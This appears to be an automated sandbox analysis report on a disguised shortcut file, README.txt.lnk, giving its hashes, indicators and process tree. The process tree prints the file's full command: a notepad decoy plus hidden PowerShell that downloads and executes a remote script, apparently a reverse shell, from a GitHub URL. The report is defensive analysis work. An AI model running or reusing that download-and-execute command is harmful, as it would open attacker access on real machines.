3b497ec4d80770a5172a72f871528397fde8ea5969aa2c3cde98edb0a6946355

Analysis

max time kernel
15s
max time network
20s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
26-01-2025 14:51

Target

README.txt.lnk
Size

1KB
MD5

e1cff745a65a199bdf9dfebe3f69e3f7
SHA1

8c77e01ceb0ff774a66afa5b7a32b0735e422e9e
SHA256

3b497ec4d80770a5172a72f871528397fde8ea5969aa2c3cde98edb0a6946355
SHA512

7e9204f24290dfdff14200945a31b7d3421122f3fb526845a8250e4325751af5fac226057becf1d0d381f021cca6aae7f6fe0b2d2b517c3441006423de03496c

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2148	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2148	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2124 wrote to memory of 2872	2124	cmd.exe	30
PID 2124 wrote to memory of 2872	2124	cmd.exe	30
PID 2124 wrote to memory of 2872	2124	cmd.exe	30
PID 2872 wrote to memory of 2636	2872	cmd.exe	31
PID 2872 wrote to memory of 2636	2872	cmd.exe	31
PID 2872 wrote to memory of 2636	2872	cmd.exe	31
PID 2872 wrote to memory of 2148	2872	cmd.exe	32
PID 2872 wrote to memory of 2148	2872	cmd.exe	32
PID 2872 wrote to memory of 2148	2872	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\README.txt.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c start notepad.exe & powershell.exe -w h -nop -c "iex(irm 'https://raw.githubusercontent.com/BalletsPistol/d9fb74g8db7d8b7db48df7g8db77f4drb7er8db7fd84d7b1gdb47d8b7brt18bcy87gdfb8hfg74h87fh8bf18h7/main/rev.b64')"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2872
- - C:\Windows\system32\notepad.exe
    notepad.exe
    3⤵
    PID:2636
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -w h -nop -c "iex(irm 'https://raw.githubusercontent.com/BalletsPistol/d9fb74g8db7d8b7db48df7g8db77f4drb7er8db7fd84d7b1gdb47d8b7brt18bcy87gdfb8hfg74h87fh8bf18h7/main/rev.b64')"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2148

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/2148-40-0x000000001B3D0000-0x000000001B6B2000-memory.dmp

Filesize
2.9MB

Download
memory/2148-41-0x0000000001D70000-0x0000000001D78000-memory.dmp

Filesize
32KB

Download